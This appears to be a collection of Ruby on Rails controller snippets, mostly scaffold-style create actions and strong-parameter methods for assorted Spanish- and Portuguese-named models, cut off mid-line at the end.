[ "def percentual_gordura_params\n params.require(:percentual_gordura).permit(:triceps, :supra_f, :supra_m, :abdomen, :coxa, :subescapular, :aluno_id)\n end", "def create\n @percentage = Percentage.new(percentage_params)\n\n respond_to do |format|\n if @percentage.save\n format.html { redirect_to @percentage, notice: 'Percentage was successfully created.' }\n format.json { render :show, status: :created, location: @percentage }\n else\n format.html { render :new }\n format.json { render json: @percentage.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @presupuestooo = Presupuestooo.new(presupuestooo_params)\n @calc = (@presupuestooo.cantGuardia * 78505) + (@presupuestooo.cantHora * 6542)\n @calc = @calc * 26\n @presupuestooo.montoMensual = @calc\n respond_to do |format|\n if @presupuestooo.save\n format.html { redirect_to @presupuestooo, notice: 'Presupuesto creado.' }\n format.json { render :show, status: :created, location: @presupuestooo }\n else\n format.html { render :new }\n format.json { render json: @presupuestooo.errors, status: :unprocessable_entity }\n end\n end\n end", "def ganho_params\n params.require(:ganho).permit(:nome, :valor_ganho, :status)\n end", "def create\n @encuesta_preguntum = EncuestaPreguntum.new(encuesta_preguntum_params)\n\n respond_to do |format|\n if @encuesta_preguntum.save\n format.html { redirect_to @encuesta_preguntum, notice: 'Encuesta preguntum was successfully created.' }\n format.json { render :show, status: :created, location: @encuesta_preguntum }\n else\n format.html { render :new }\n format.json { render json: @encuesta_preguntum.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_percentual_gordura\n @percentual_gordura = PercentualGordura.find(params[:id])\n end", "def new\n @percentual_gordura = PercentualGordura.new\n\n end", "def galletum_params\n params.require(:galletum).permit(:nombre, :tamaño, :tipo, :precio, :peso, :porciones)\n end", "def create\n @grua = Grua.new(grua_params)\n @grua.dicc_mantenciones = @grua.set_dicc_mantenciones(@grua.tipo, @grua.horometro)\n\n if @grua.tipo == \"Eléctrica\"\n @grua.mantenciones = [6000, 2000, 1000, 250]\n elsif @grua.tipo == \"Gas\"\n @grua.mantenciones = [2800, 1400, 700, 350]\n elsif @grua.tipo == \"Apilador\"\n @grua.mantenciones = [2000, 1000, 500]\n else @grua.mantenciones = []\n end\n\n respond_to do |format|\n if @grua.save\n format.html { redirect_to @grua, notice: 'Grua creada exitosamente.' }\n format.json { render :show, status: :created, location: @grua }\n else\n format.html { render :new }\n format.json { render json: @grua.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gastos_balanceado = GastosBalanceado.new(gastos_balanceado_params)\n\n respond_to do |format|\n if @gastos_balanceado.save\n format.html { redirect_to @gastos_balanceado, notice: 'Gastos balanceado was successfully created.' }\n format.json { render :show, status: :created, location: @gastos_balanceado }\n else\n format.html { render :new }\n format.json { render json: @gastos_balanceado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @graduation = Graduation.new(graduation_params)\n\n respond_to do |format|\n if @graduation.save\n format.html { redirect_to @graduation, notice: 'Graduation was successfully created.' }\n format.json { render :show, status: :created, location: @graduations }\n else\n format.html { render :new }\n format.json { render json: @graduation.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @percentual_gorduras = PercentualGordura.all\n end", "def create\n @tipo_pensum = TipoPensum.new(params[:tipo_pensum])\n\n respond_to do |format|\n if @tipo_pensum.save\n format.html { redirect_to @tipo_pensum, notice: 'Tipo pensum was successfully created.' }\n format.json { render json: @tipo_pensum, status: :created, location: @tipo_pensum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_pensum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @preguntum = Preguntum.new(params[:preguntum])\n\n respond_to do |format|\n if @preguntum.save\n format.html { redirect_to @preguntum, notice: 'Preguntum was successfully created.' }\n format.json { render json: @preguntum, status: :created, location: @preguntum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @preguntum.errors, status: :unprocessable_entity }\n end\n end\n end", "def probando_params\n params.require(:probando).permit(:user_id, :post_id, :parragraph, :number)\n end", "def create\n @pergunta = @topico.perguntas.new(pergunta_params)\n\n respond_to do |format|\n if @pergunta.save\n format.html { redirect_to set_path, notice: 'Pergunta criada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @pergunta }\n else\n format.html { render action: 'new' }\n format.json { render json: @pergunta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end", "def create\n @palabra = Palabra.new(params[:palabra])\n @palabra.significados = params[:significados] \n respond_to do |format|\n if @palabra.save\n format.html { redirect_to @palabra, notice: 'La palabra fue guardada correctamente.' }\n format.json { render json: @palabra, status: :created, location: @palabra }\n else\n format.html { render action: \"new\" }\n format.json { render json: @palabra.errors, status: :unprocessable_entity }\n end\n end\n end", "def grade_horario_params\n params.require(:grade_horario).permit(:dia, :hora, :conteudo)\n end", "def grua_params\n params.require(:grua).permit(:tipo, :numero_serie, :horometro, :lugar_actual, :cliente, :contrato,\n :propietario, :asegurada, :estado, :marca, :modelo, :serie, :motor, :patente, :ano,\n :ton, :mastil, :observaciones, :dicc_mantenciones)\n end", "def create\n currency_to_number params[:pagamento][:valor]\n\n @pagamento = Pagamento.new(params[:pagamento])\n\n respond_to do |format|\n if @pagamento.save\n #format.html { redirect_to @pagamento, notice: 'Pagamento criado com sucesso.' }\n format.html { redirect_to @pagamento.os, notice: 'Pagamento criado com sucesso.' }\n format.json { render json: @pagamento, status: :created, location: @pagamento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pagamento.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @article = Article.new\n \n @article[:percentaje] = 0.00\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def create\n @competency_pertenece_asignatura = CompetencyPerteneceAsignatura.new(params[:competency_pertenece_asignatura])\n\n respond_to do |format|\n if @competency_pertenece_asignatura.save\n format.html { redirect_to @competency_pertenece_asignatura, notice: 'Competency pertenece asignatura was successfully created.' }\n format.json { render json: @competency_pertenece_asignatura, status: :created, location: @competency_pertenece_asignatura }\n else\n format.html { render action: \"new\" }\n format.json { render json: @competency_pertenece_asignatura.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if !@current_user || (@current_user.admin != 1 && @current_user.admin != 2)\n return head :forbidden\n end\n @repasgcc = Repasgcc.new(repasgcc_params)\n\n respond_to do |format|\n if @repasgcc.save\n format.html { redirect_to @repasgcc, notice: 'Le formulaire pour le repas du grupo a bien été créé.' }\n format.json { render :show, status: :created, location: @repasgcc }\n else\n format.html { render :new }\n format.json { render json: @repasgcc.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profesor_grado = ProfesorGrado.new(profesor_grado_params)\n\n respond_to do |format|\n if @profesor_grado.save\n format.html { redirect_to @profesor_grado, notice: 'Profesor grado was successfully created.' }\n format.json { render :show, status: :created, location: @profesor_grado }\n else\n format.html { render :new }\n format.json { render json: @profesor_grado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @galletum = Galletum.new(galletum_params)\n\n respond_to do |format|\n if @galletum.save\n format.html { redirect_to @galletum, notice: 'Galletum was successfully created.' }\n format.json { render :show, status: :created, location: @galletum }\n else\n format.html { render :new }\n format.json { render json: @galletum.errors, status: :unprocessable_entity }\n end\n end\n end", "def percentage_params\n params.require(:percentage).permit(:val_fact_1, :val_fact_2, :percent_fact, :val_inv_1, :val_inv_2, :percent_inv, :group_id, :pharmacy_id)\n end", "def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def create\n @pautum = Pautum.new(pautum_params)\n\n respond_to do |format|\n if @pautum.save\n format.html { redirect_to @pautum, notice: 'Pautum was successfully created.' }\n format.json { render :show, status: :created, location: @pautum }\n else\n format.html { render :new }\n format.json { render json: @pautum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gran_unidad = GranUnidad.new(gran_unidad_params)\n\n respond_to do |format|\n if @gran_unidad.save\n format.html { redirect_to @gran_unidad, notice: 'Gran unidad was successfully created.' }\n format.json { render action: 'show', status: :created, location: @gran_unidad }\n else\n format.html { render action: 'new' }\n format.json { render json: @gran_unidad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @grua = Grua.new(grua_params)\n\n respond_to do |format|\n if @grua.save\n format.html { redirect_to gruas_url, notice: 'Grua Se creó correctamente.' }\n format.json { render :index, status: :created, location: @grua }\n else\n format.html { render :new }\n format.json { render json: @grua.errors, status: :unprocessable_entity }\n end\n end\n end", "def pautum_params\n params.require(:pautum).permit(:titulo, :data, :status)\n end", "def create\n @grade_horario = GradeHorario.new(grade_horario_params)\n\n respond_to do |format|\n if @grade_horario.save\n format.html { redirect_to @grade_horario, notice: 'Grade horario was successfully created.' }\n format.json { render :show, status: :created, location: @grade_horario }\n else\n format.html { render :new }\n format.json { render json: @grade_horario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @prepagada = Prepagada.new({ :prepagada => params[:prepagada], :odontologo_id => params[:odontologo_id] })\n\n respond_to do |format|\n if @prepagada.save\n format.html { redirect_to @prepagada, notice: 'Prepagada was successfully created.' }\n format.json { render json: @prepagada, status: :created, location: @prepagada }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prepagada.errors, status: :unprocessable_entity }\n end\n end\n end", "def tiendas_juego_params\n params.require(:tiendas_juego).permit(:cantidad)\n end", "def create\n @regraponto = Regraponto.new(regraponto_params)\n\n respond_to do |format|\n if @regraponto.save\n format.html { redirect_to @regraponto, notice: 'Regraponto was successfully created.' }\n format.json { render :show, status: :created, location: @regraponto }\n else\n format.html { render :new }\n format.json { render json: @regraponto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gudang = Gudang.new(gudang_params)\n\n respond_to do |format|\n if @gudang.save\n format.html { redirect_to @gudang, notice: 'Gudang was successfully created.' }\n format.json { render :show, status: :created, location: @gudang }\n else\n format.html { render :new }\n format.json { render json: @gudang.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @percentual_gordura.update(percentual_gordura_params)\n format.html { redirect_to @percentual_gordura, notice: 'Percentual gordura was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @percentual_gordura.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pago_factura = PagoFactura.new(pago_factura_params)\n\n respond_to do |format|\n if @pago_factura.save\n format.html { redirect_to @pago_factura, notice: 'Pago factura creado con éxito.' }\n format.json { render :show, status: :created, location: @pago_factura }\n else\n format.html { render :new }\n format.json { render json: @pago_factura.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @suceso_perro = SucesoPerro.new(suceso_perro_params)\n\n respond_to do |format|\n if @suceso_perro.save\n format.html { redirect_to @suceso_perro, notice: 'Suceso perro was successfully created.' }\n format.json { render :show, status: :created, location: @suceso_perro }\n else\n format.html { render :new }\n format.json { render json: @suceso_perro.errors, status: :unprocessable_entity }\n end\n end\n end", "def detalle_gasto_params\n params.require(:detalle_gasto).permit(:titulo, :descripcion, :monto, :concepto_gasto_id, :informe_gastos_id, :voluntario_id, :comprobante_id)\n end", "def create\n @prueba = Prueba.new(prueba_params)\n\n cantidadAlmacenada = @prueba.cantidad_almacenada\n cantidadDesechada = @prueba.cantidad_desechada\n\n @prueba.cantidad = cantidadAlmacenada + cantidadDesechada \n\n respond_to do |format|\n if @prueba.save\n\n @etiqueta = Etiqueta.new\n\n etiquetaAnalisis = @prueba.etiqueta.etiqueta\n idAnalisis = @prueba.id\n idAnalisisString = idAnalisis.to_s\n\n @etiqueta.etiqueta = etiquetaAnalisis + idAnalisisString + \"-\"\n @etiqueta.formato_id = 2\n @etiqueta.save\n\n format.html { redirect_to etiqueta_mostrar_path(@etiqueta.id), notice: 'Prueba was successfully created.' }\n format.json { render :show, status: :created, location: @prueba }\n else\n format.html { render :new }\n format.json { render json: @prueba.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @caracteristica_propiedad = CaracteristicaPropiedad.new(caracteristica_propiedad_params)\n\n respond_to do |format|\n if @caracteristica_propiedad.save\n format.html { redirect_to @caracteristica_propiedad, notice: 'Caracteristica propiedad was successfully created.' }\n format.json { render :show, status: :created, location: @caracteristica_propiedad }\n else\n format.html { render :new }\n format.json { render json: @caracteristica_propiedad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n tp = tumor_params\n tp[:tipo_tumor], ad, p = tipo(tp)\n if p == nil\n p=0\n end\n @tumor = Tumor.new(tp)\n respond_to do |format|\n if @tumor.save\n format.html { redirect_to @tumor, notice: 'Se registro con exito con tipo de tumor => '+tp[:tipo_tumor].capitalize+\n '.<>Arbol de decision:<>'+\n ad+'<>Con un grado de acierto de: '+\n p.to_s+\n ' y un porcentaje de acierto de 83.19%' }\n format.json { render :show, status: :created, location: @tumor }\n else\n format.html { render :new }\n format.json { render json: @tumor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @nguoi_dung = NguoiDung.new(params[:nguoi_dung])\n\n respond_to do |format|\n if @nguoi_dung.save\n format.html { redirect_to @nguoi_dung, notice: 'Nguoi dung was successfully created.' }\n format.json { render json: @nguoi_dung, status: :created, location: @nguoi_dung }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nguoi_dung.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #Parámetros permitidos.\n pago_params\n\n #Asignación de variables.\n fact = params[:pago][:factura_id]\n fecha = params[:pago][:fechapago]\n factura = Factura.find_by(id: fact)\n\n #Editar pago.\n @pago = Pago.new\n @pago.factura_id = fact\n @pago.fechapago = fecha\n @pago.monto = factura.total\n\n respond_to do |format|\n if @pago.save\n #Inserción en la cuenta corriente cliente por el haber.\n ctactecli = Ctactecli.find_by(cliente_id: factura.cliente_id)\n detallectactecli = Detallectactecli.new\n detallectactecli.ctactecli_id = factura.cliente_id\n detallectactecli.fechadetalle = Date.today\n detallectactecli.tipodetalle = 'Crédito por factura'\n detallectactecli.haber = factura.total\n detallectactecli.save\n ctactecli.saldo = ctactecli.saldo - factura.total\n ctactecli.save\n\n format.json { render :show, status: :created, location: @pago }\n puts'Pago guardado'\n #format.html { redirect_to @pago, notice: 'Pago was successfully created.' }\n else\n format.json { render json: @pago.errors, status: :unprocessable_entity }\n puts'Pago no guardado'\n #format.html { render :new }\n end\n end\n end", "def diezmoanual_params\n params.require(:diezmoanual).permit(:valor, :año)\n end", "def create\n @puntuation = Puntuation.new(puntuation_params)\n\n respond_to do |format|\n if @puntuation.save\n @voted_contribution = Contribution.find(@puntuation.contribution_id)\n @voted_contribution.increment!(:puntuation, 1)\n format.html { redirect_to :back }\n format.json { render :show, status: :created, location: @puntuation }\n else\n format.html { render :new }\n format.json { render json: @puntuation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @valores_de_pago = ValoresDePago.new(valores_de_pago_params)\n\n respond_to do |format|\n if @valores_de_pago.save\n format.html { redirect_to @valores_de_pago, notice: 'Valores de pago was successfully created.' }\n format.json { render :show, status: :created, location: @valores_de_pago }\n else\n format.html { render :new }\n format.json { render json: @valores_de_pago.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @percentual_gordura.destroy\n respond_to do |format|\n format.html { redirect_to percentual_gorduras_url }\n format.json { head :no_content }\n end\n end", "def create\n @puesto_salud = PuestoSalud.new(puesto_salud_params)\n\n respond_to do |format|\n if @puesto_salud.save\n format.html { redirect_to @puesto_salud, notice: 'Puesto salud was successfully created.' }\n format.json { render :show, status: :created, location: @puesto_salud }\n else\n format.html { render :new }\n format.json { render json: @puesto_salud.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:adm_produto][:perc_comissao] = params[:adm_produto][:perc_comissao].to_f / 100.0 # deixando na forma percentual correta\n @adm_produto = Adm::Produto.new(params[:adm_produto])\n respond_to do |format|\n if @adm_produto.save\n grava_categoria(params[:categorias], @adm_produto)\n logProduto(request.remote_ip, @adm_produto.id, session[:usuario].id, \"Novo produto criado\")\n format.html { redirect_to(:adm_produtos, :notice => 'Produto criado com sucesso') }\n format.xml { render :xml => @adm_produto, :status => :created, :location => @adm_produto }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @adm_produto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @cobertura = Cobertura.new(cobertura_params)\n\n @apolice.page = \"proposta\"\n\n respond_to do |format|\n if @cobertura.save\n format.html { redirect_to @cobertura, notice: 'Cobertura was successfully created.' }\n format.json { render :show, status: :created, location: @cobertura }\n else\n format.html { render :new }\n format.json { render json: @cobertura.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fraction_vote = FractionVote.new(fraction_vote_params)\n\n respond_to do |format|\n if @fraction_vote.save\n format.html { redirect_to @fraction_vote, notice: 'Fraction vote was successfully created.' }\n format.json { render :show, status: :created, location: @fraction_vote }\n else\n format.html { render :new }\n format.json { render json: @fraction_vote.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sundry_grn = SundryGrn.new(params[:sundry_grn])\n\n respond_to do |format|\n if @sundry_grn.save\n format.html { redirect_to @sundry_grn, :notice => 'Sundry grn was successfully created.' }\n format.json { render :json => @sundry_grn, :status => :created, :location => @sundry_grn }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sundry_grn.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @prorroga = Prorroga.new(prorroga_params)\n\n respond_to do |format|\n if @prorroga.save\n format.html { redirect_to @prorroga, notice: 'Prorroga was successfully created.' }\n format.json { render :show, status: :created, location: @prorroga }\n else\n format.html { render :new }\n format.json { render json: @prorroga.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @validate_percentage = ValidatePercentage.new(validate_percentage_params)\n\n respond_to do |format|\n if @validate_percentage.save\n format.html { redirect_to @validate_percentage, notice: 'Validate percentage was successfully created.' }\n format.json { render :show, status: :created, location: @validate_percentage }\n else\n format.html { render :new }\n format.json { render json: @validate_percentage.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @denuncia_tipo = DenunciaTipo.new(params[:denuncia_tipo])\n\n respond_to do |format|\n if @denuncia_tipo.save\n format.html { redirect_to @denuncia_tipo, notice: 'Denuncia tipo was successfully created.' }\n format.json { render json: @denuncia_tipo, status: :created, location: @denuncia_tipo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @denuncia_tipo.errors, status: :unprocessable_entity }\n end\n end\n end", "def perdida_params\n params.require(:perdida).permit(:fecha, :num_doc, :cliente, :fecha_entrega, :empleado, :cant, :prenda, :pieza, :talla, :val_uni, :total, :subtotal, :iva, :total)\n end", "def respuestum_params\r\n params.require(:respuestum).permit( :encuestado_id, :encuestador_id, :evaluacion_id, :grupo_id, :respondida)\r\n end", "def create\n @produto_pedido = ProdutoPedido.new(produto_pedido_params)\n @produto_pedido.valor_unitario = Produto.find_by(nome: params[:produto_pedido][:nome]).preco\n @produto_pedido.valor_total = @produto_pedido.valor_unitario * Integer(params[:produto_pedido][:quantidade])\n\n respond_to do |format|\n if @produto_pedido.save\n @pedido.quantidade_itens += @produto_pedido.quantidade\n @pedido.valor_pedido += @produto_pedido.valor_total\n @pedido.save\n format.html { redirect_to @pedido, notice: 'Produto pedido was successfully created.' }\n format.json { render :show, status: :created, location: @pedido }\n else\n format.html { render :new }\n format.json { render json: @produto_pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def gauge_graph_params\n params.require(:gauge_graph).permit(:score, :total)\n end", "def create\n @perdida = Perdida.new(perdida_params)\n\n respond_to do |format|\n if @perdida.save\n format.html { redirect_to perdidaa_path, notice: 'Se ha Creado un Registro.' }\n format.json { render :show, status: :created, location: @perdida }\n else\n format.html { render :new }\n format.json { render json: @perdida.errors, status: :unprocessable_entity }\n end\n end\n end", "def respuesta_params\n params.require(:respuesta).permit(:consulta_id, :pregunta_id, :valor)\n end", "def percentage_abd\r\n\t\t\t\tall_survivors = Survivor.count()\r\n\t\t\t\tabd_survivors = Survivor.where(abducted: true).count\r\n\t\t\t\tpercentage = (abd_survivors.to_f/all_survivors.to_f) * 100\r\n\t\t\t\trender json: {status: 'SUCCESS', message:'Porcentagem de sobreviventes Abduzidos', percentage:percentage},status: :ok\r\n\t\t\tend", "def create\n @gauge = Gauge.new(params[:gauge])\n\n respond_to do |format|\n if @gauge.save\n format.html { redirect_to @gauge, notice: 'Gauge was successfully created.' }\n format.json { render json: @gauge, status: :created, location: @gauge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gauge.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @puntaje = Puntaje.new(params[:puntaje])\n\n respond_to do |format|\n if @puntaje.save\n format.html { redirect_to @puntaje, notice: 'Puntaje was successfully created.' }\n format.json { render json: @puntaje, status: :created, location: @puntaje }\n else\n atributos\n format.html { render action: \"new\" }\n format.json { render json: @puntaje.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @respuestum = Respuestum.new(respuestum_params)\r\n\r\n respond_to do |format|\r\n if @respuestum.save\r\n format.html { redirect_to @respuestum, notice: 'Respuestum was successfully created.' }\r\n format.json { render :show, status: :created, location: @respuestum }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @respuestum.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @winding = Winding.new(winding_params)\n #Codigo para gerar gcode a 90 graus\n generate_gcode\n\n respond_to do |format|\n if @winding.save\n format.html { redirect_to @winding, notice: 'Winding was successfully created.' }\n format.json { render :show, status: :created, location: @winding }\n else\n format.html { render :new }\n format.json { render json: @winding.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @level_progression = LevelProgression.new(level_progression_params)\n\n respond_to do |format|\n if @level_progression.save\n format.html { redirect_to @level_progression, notice: 'Level progression was successfully created.' }\n format.json { render :show, status: :created, location: @level_progression }\n else\n format.html { render :new }\n format.json { render json: @level_progression.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @perro = Perro.new(perro_params)\n\n respond_to do |format|\n if @perro.save\n format.html { redirect_to perros_url, notice: 'Perro creado.' }\n format.json { render :show, status: :created, location: @perro }\n else\n format.html { render :new }\n format.json { render json: @perro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipoocorrencium = Tipoocorrencium.new(tipoocorrencium_params)\n\n respond_to do |format|\n if @tipoocorrencium.save\n format.html { redirect_to @tipoocorrencium, notice: 'Tipoocorrencium was successfully created.' }\n format.json { render :show, status: :created, location: @tipoocorrencium }\n else\n format.html { render :new }\n format.json { render json: @tipoocorrencium.errors, status: :unprocessable_entity }\n end\n end\n end", "def gastronomium_params\n params.require(:gastronomium).permit(:plato, :descripcion, :imagen)\n end", "def create\n @puesto = Puesto.new(puesto_params)\n\n respond_to do |format|\n if @puesto.save\n format.html { redirect_to @puesto, notice: 'Puesto Creado.' }\n format.json { render :show, status: :created, location: @puesto }\n else\n format.html { render :new }\n format.json { render json: @puesto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @paciente = Paciente.new(paciente_params)\n\n respond_to do |format|\n if @paciente.save\n @pactual = {pac: @paciente.id, cen: 0, pro: 0} \n format.html { redirect_to @paciente, notice: \"Paciente was successfully created.\" }\n format.json { render :show, status: :created, location: @paciente }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @paciente.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pregunta_alternativa = PreguntaAlternativa.new(pregunta_alternativa_params)\n\n respond_to do |format|\n if @pregunta_alternativa.save\n format.html { redirect_to @pregunta_alternativa, notice: 'Pregunta la pregunta fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @pregunta_alternativa }\n else\n format.html { render :new }\n format.json { render json: @pregunta_alternativa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n params[:refill_type] = params[:refill_type].to_i\n params[:status] = params[:status].to_i\n params[:cost_basis] = params[:cost_basis].to_i\n params[:other_coverage_code] = params[:other_coverage_code].to_i\n params[:reason_for_delay] = params[:reason_for_delay].to_i\n params[:partial_fill_status] = params[:partial_fill_status].to_i\n params[:reported_to_pmp] = params[:reported_to_pmp].to_i\n\n @dispense = Dispense.new(dispense_params)\n\n respond_to do |format|\n if @dispense.save\n format.html { redirect_to @dispense, notice: 'Dispense was successfully created.' }\n format.json { render :show, status: :created, location: @dispense }\n else\n format.html { render :new }\n format.json { render json: @dispense.errors, status: :unprocessable_entity }\n end\n end\n end", "def grado_params\n params.require(:grado).permit(:nombre, :descripcion)\n end", "def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n respond_to do |format|\n if @respuesta.save\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully created.' }\n format.json { render json: @respuesta, status: :created, location: @respuesta }\n else\n format.html { render action: \"new\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @puntaje = Puntaje.new(params[:puntaje])\n\n respond_to do |format|\n if @puntaje.save\n format.html { redirect_to @puntaje, notice: 'El puntaje ha sido registrado con exito. ' }\n CustomLogger.info(\"Un nuevo puntaje: #{@puntaje.puntaje.to_i.inspect} correspondiente a la tarea: #{@puntaje.planificacion_tarea.inspect} del alumno: #{@puntaje.alumno.user_full_name.inspect} , Descripcion:#{@puntaje.descripcion.inspect} ha sido registrado por el usuario: #{current_user.full_name.inspect}, #{Time.now}\")\n format.json { render json: @puntaje, status: :created, location: @puntaje }\n else\n atributos\n format.html { render action: \"new\" }\n CustomLogger.error(\"Se ha producido un error al querer registrar el puntaje: #{@puntaje.puntaje.to_i.inspect} y sus demas atributos, por el usuario: #{current_user.full_name.inspect}, #{Time.now}\")\n format.json { render json: @puntaje.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gakunenn = Gakunenn.new(gakunenn_params)\n\n respond_to do |format|\n if @gakunenn.save\n format.html { redirect_to @gakunenn, notice: \"学年を追加しました\" }\n format.json { render :show, status: :created, location: @gakunenn }\n else\n format.html { render :new }\n format.json { render json: @gakunenn.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @votaciones_hist = VotacionesHist.new(votaciones_hist_params)\n\n respond_to do |format|\n if @votaciones_hist.save\n format.html { redirect_to @votaciones_hist, notice: 'Votaciones hist was successfully created.' }\n format.json { render :show, status: :created, location: @votaciones_hist }\n else\n format.html { render :new }\n format.json { render json: @votaciones_hist.errors, status: :unprocessable_entity }\n end\n end\n end", "def gabarra\n respond_to do |format|\n begin\n @gabarra = DescargaBauxita.descargar(params)\n format.json { render :json => @gabarra }\n rescue Exceptions::PresenciaValoresExcepcion => errores\n format.json { render :json => errores.errors, :status => 400 }\n end\n end\n end", "def create\n @agronomiaquimica = Agronomiaquimica.new(params[:agronomiaquimica])\n\n respond_to do |format|\n if @agronomiaquimica.save\n format.html { redirect_to @agronomiaquimica, notice: 'Agronomiaquimica was successfully created.' }\n format.json { render json: @agronomiaquimica, status: :created, location: @agronomiaquimica }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agronomiaquimica.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proposta = Propostum.new(propostum_params)\n\n respond_to do |format|\n if @proposta.save\n format.html { redirect_to @proposta, notice: 'Propostum was successfully created.' }\n format.json { render :show, status: :created, location: @proposta }\n else\n format.html { render :new }\n format.json { render json: @proposta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @progress = Progress.new(params[:progress])\n\n respond_to do |format|\n if @progress.save\n format.json { render json: @progress, status: :created, location: @progress }\n else\n format.json { render json: @progress.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pergunta_subgrupo = PerguntaSubgrupo.new(pergunta_subgrupo_params)\n\n respond_to do |format|\n if @pergunta_subgrupo.save\n format.html { redirect_to @pergunta_subgrupo, notice: 'Pergunta subgrupo was successfully created.' }\n format.json { render :show, status: :created, location: @pergunta_subgrupo }\n else\n format.html { render :new }\n format.json { render json: @pergunta_subgrupo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gua = Gua.new(gua_params)\n\n respond_to do |format|\n if @gua.save\n format.html { redirect_to @gua, notice: 'Gua was successfully created.' }\n format.json { render :show, status: :created, location: @gua }\n else\n format.html { render :new }\n format.json { render json: @gua.errors, status: :unprocessable_entity }\n end\n end\n end", "def progreso_params\n params.require(:progreso).permit(:repeticion_completada, :estudiante_id, :leccion_id)\n end", "def create\n @sugerencia = Sugerencia.new(params[:sugerencia])\n\n respond_to do |format|\n if @sugerencia.save\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully created.' }\n format.json { render :json => @sugerencia, :status => :created, :location => @sugerencia }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end", "def galinha_params\n params.require(:galinha).permit(:galinha_id, :nome, :raca)\n end", "def progress\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # progress.html.erb\n format.json { render json: @goal }\n end\n\n private\n\n # Use this method to whitelist the permissible parameters. Example:\n # params.require(:person).permit(:name, :age)\n # Also, you can specialize this method with per-user checking of permissible attributes.\n def permitted_params\n params.require(:goal).permit(:date, :description, :name, :priority, :status)\n end\n \n def allowed_params\n [:date, :description, :name, :priority, :status]\n end\nend", "def repuesto_params\n params.require(:repuesto).permit(:codigo, :articulo, :familia, :panol, :taller, :movil1,\n :movil2, :stock, :stock_minimo, :valor)\n end", "def create\n @colegiatura = Colegiatura.new(params[:colegiatura])\n\n respond_to do |format|\n if @colegiatura.save\n format.html { redirect_to @colegiatura, notice: 'Colegiatura was successfully created.' }\n format.json { render json: @colegiatura, status: :created, location: @colegiatura }\n else\n format.html { render action: \"new\" }\n format.json { render json: @colegiatura.errors, status: 